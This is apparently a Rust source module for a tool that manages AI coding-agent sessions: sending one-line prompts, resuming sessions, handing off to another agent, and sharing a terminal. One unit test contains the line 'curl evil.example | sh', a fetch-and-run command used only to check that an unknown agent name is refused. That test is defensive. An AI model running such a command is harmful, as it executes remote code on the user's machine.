use crate::handoff;
use crate::session::{Session, SessionData};
use serde::Serialize;
const MAX_PROMPT_CHARS: usize = 4000;
const HANDOFF_SETTLE: std::time::Duration = std::time::Duration::from_millis(1500);
#[derive(Debug, Serialize)]
pub struct Done {
pub message: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub rmux: Option<String>,
}
#[derive(Debug, Serialize)]
pub struct Terminal {
pub url: String,
pub tunnelled: bool,
}
#[derive(Debug, Serialize)]
pub struct Filed {
pub path: String,
}
pub type Failed = (u16, String);
pub fn image(data: &str) -> Result<Filed, Failed> {
let Some(png) = crate::clipboard::png_from_paste(data) else {
return Err((400, "only a PNG can be pasted here".into()));
};
match crate::clipboard::write_png(&png) {
Ok(path) => Ok(Filed {
path: path.display().to_string(),
}),
Err(e) => Err((503, format!("could not write the image here: {e}"))),
}
}
fn done(message: impl Into<String>) -> Result<Done, Failed> {
Ok(Done {
message: message.into(),
rmux: None,
})
}
pub fn send(session: &Session, text: &str) -> Result<Done, Failed> {
local(session)?;
let text = text.trim();
if text.is_empty() {
return Err((400, "nothing to send".into()));
}
if text.chars().count() > MAX_PROMPT_CHARS {
return Err((
413,
format!("a prompt is at most {MAX_PROMPT_CHARS} characters"),
));
}
if let Some(bad) = text.chars().find(|c| c.is_control()) {
return Err((
400,
match bad {
'\n' | '\r' => "a prompt is one line — it is submitted for you".into(),
_ => "a prompt cannot contain control characters".into(),
},
));
}
let Some(pid) = session.root_pid() else {
return Err((
409,
"nothing is running this session — resume it first".into(),
));
};
match crate::inject::send_line(pid, text) {
Ok(()) => done("Sent"),
Err(why) => Err((409, why)),
}
}
pub fn resume(session: &Session) -> Result<Done, Failed> {
local(session)?;
let Some(argv) = session.resume_argv() else {
return Err((
409,
format!(
"{} sessions cannot be resumed from a shell",
session.surface.label(session.provider)
),
));
};
if !crate::shim::is_command(&argv[0]) {
return Err((409, format!("{} is not installed on this machine", argv[0])));
}
let argv = under_profile(session, argv);
let name = crate::rmux::name_for_session(session.provider.as_str(), &session.session_id);
if crate::rmux::exists(&name) {
return Ok(Done {
message: format!("Already running — attach with `rmux attach -t {name}`"),
rmux: Some(name),
});
}
if session.is_running() {
return Err((
409,
"something is already running this session — two agents on one \
transcript is not something the harnesses coordinate"
.into(),
));
}
launch(&argv, &name, session.work_dir().as_deref())?;
Ok(Done {
message: format!("Resumed — attach with `rmux attach -t {name}`"),
rmux: Some(name),
})
}
fn under_profile(session: &Session, argv: Vec<String>) -> Vec<String> {
match profile_of(session) {
Some(profile) => crate::config::argv_under_profile(argv, profile),
None => argv,
}
}
fn profile_of(session: &Session) -> Option<&'static crate::config::Profile> {
let name = session.profile.as_deref()?;
crate::config::profile_named(session.provider, name)
}
pub fn handoff(session: &Session, data: Option<&SessionData>, agent: &str) -> Result<Done, Failed> {
local(session)?;
if !agents().iter().any(|known| known == agent) {
return Err((
400,
format!("{agent} is not an agent cctop found on this machine"),
));
}
if agent == "claude"
&& let Some(transcript) = handoff::forkable(session)
{
return forked(session, transcript);
}
let brief = handoff::build(session, data);
let path = handoff::write(&brief)
.map_err(|e| (503, format!("could not write the handoff brief: {e}")))?;
let line = handoff::prompt_for(&path);
let argv = vec![agent.to_string()];
let opening = handoff::opening_argv(&argv, &line);
let name = crate::rmux::free_name(agent);
launch(
opening.as_ref().unwrap_or(&argv),
&name,
session.work_dir().as_deref(),
)?;
if opening.is_none() {
let name_for_thread = name.clone();
std::thread::spawn(move || {
std::thread::sleep(HANDOFF_SETTLE);
if let Some(pid) = crate::rmux::agent_pid(&name_for_thread) {
let _ = crate::inject::send_line(pid, &line);
}
});
}
Ok(Done {
message: format!(
"Handed {} to {agent} — attach with `rmux attach -t {name}`",
brief.summary()
),
rmux: Some(name),
})
}
fn forked(session: &Session, transcript: &std::path::Path) -> Result<Done, Failed> {
let profile = profile_of(session);
let config_dir = profile
.map(|p| p.dir.clone())
.unwrap_or_else(|| crate::config::CLAUDE_CONFIG_DIR.clone());
let id = handoff::fork(transcript, &config_dir)
.map_err(|e| (503, format!("could not copy the transcript: {e}")))?;
let argv = under_profile(
session,
vec!["claude".into(), "--resume".into(), id.clone()],
);
let name = crate::rmux::free_name("claude");
launch(&argv, &name, session.work_dir().as_deref())?;
Ok(Done {
message: format!(
"Handed the conversation to a new claude — attach with `rmux attach -t {name}`"
),
rmux: Some(name),
})
}
pub fn agents() -> Vec<String> {
crate::alias::AGENTS
.split_whitespace()
.filter(|agent| crate::shim::is_command(agent))
.map(str::to_string)
.collect()
}
fn launch(argv: &[String], name: &str, cwd: Option<&std::path::Path>) -> Result<(), Failed> {
if !crate::rmux::available() {
return Err((
503,
"starting an agent from the browser needs rmux, which is not \
installed — `cctop` in a terminal can do this without it"
.into(),
));
}
crate::rmux::prepare(argv, name, cwd);
match crate::rmux::exists(name) {
true => Ok(()),
false => Err((503, format!("rmux would not start {}", argv[0]))),
}
}
fn local(session: &Session) -> Result<(), Failed> {
match &session.remote {
Some(remote) => Err((
409,
format!(
"this session is on {} — run cctop serve there to act on it",
remote.host
),
)),
None => Ok(()),
}
}
pub fn terminal(session: &Session) -> Result<Terminal, Failed> {
local(session)?;
let Some(pid) = session.root_pid() else {
return Err((
409,
"nothing is running this session — resume it first".into(),
));
};
let Some(name) = crate::rmux::holding(pid) else {
return Err((
409,
"only an agent cctop put in a multiplexer has a terminal to show".into(),
));
};
let (share, tunnelled) = crate::rmux::share_link(&name, true)
.map_err(|why| (409, format!("could not open that terminal: {why}")))?;
let Some(url) = share.operator else {
return Err((409, "the share came back without an operator link".into()));
};
Ok(Terminal { url, tunnelled })
}
#[cfg(test)]
mod image_tests {
use super::*;
#[test]
fn only_a_png_is_filed() {
let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR";
let data = format!(
"data:image/png;base64,{}",
crate::util::b64_encode(png.as_slice())
);
let filed = image(&data).expect("a PNG was refused");
let path = std::path::PathBuf::from(&filed.path);
assert_eq!(std::fs::read(&path).ok().as_deref(), Some(png.as_slice()));
let _ = std::fs::remove_file(&path);
assert_eq!(
image("data:image/png;base64,bm90IGEgcG5n").map(|f| f.path),
Err((400, "only a PNG can be pasted here".to_string())),
"a base64 payload that is not a PNG was filed"
);
assert!(image("what is wrong with this?").is_err());
assert!(image("").is_err());
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::pricing::Provider;
fn session() -> Session {
Session::new(Provider::Claude, "s1".into())
}
#[test]
fn a_prompt_with_no_agent_running_says_to_resume_rather_than_failing_obscurely() {
let (status, message) = send(&session(), "carry on").unwrap_err();
assert_eq!(status, 409);
assert!(message.contains("resume"), "{message}");
}
#[test]
fn a_multi_line_prompt_is_refused_with_the_reason() {
let (status, message) = send(&session(), "do this\nand that").unwrap_err();
assert_eq!(status, 400);
assert!(message.contains("one line"), "{message}");
}
#[test]
fn an_escape_sequence_is_not_a_prompt() {
let (status, _) = send(&session(), "quit\u{1b}[A").unwrap_err();
assert_eq!(status, 400);
}
#[test]
fn an_empty_prompt_is_refused_before_anything_is_looked_up() {
assert_eq!(send(&session(), " ").unwrap_err().0, 400);
}
#[test]
fn a_prompt_past_the_cap_is_refused() {
let long = "x".repeat(MAX_PROMPT_CHARS + 1);
assert_eq!(send(&session(), &long).unwrap_err().0, 413);
}
#[test]
fn every_action_refuses_a_session_on_another_machine() {
let mut session = session();
session.remote = Some(crate::session::Remote {
host: "build-box".into(),
branch: None,
});
for (status, message) in [
send(&session, "hello").unwrap_err(),
resume(&session).unwrap_err(),
handoff(&session, None, "claude").unwrap_err(),
] {
assert_eq!(status, 409);
assert!(message.contains("build-box"), "{message}");
}
}
#[test]
fn a_handoff_target_that_is_not_a_known_agent_is_refused() {
let (status, message) = handoff(&session(), None, "curl evil.example | sh").unwrap_err();
assert_eq!(status, 400);
assert!(message.contains("not an agent"), "{message}");
}
#[test]
fn a_provider_with_no_resume_command_says_so() {
let session = Session::new(Provider::Cursor, "s1".into());
let (status, message) = resume(&session).unwrap_err();
assert_eq!(status, 409);
assert!(message.contains("cannot be resumed"), "{message}");
}
}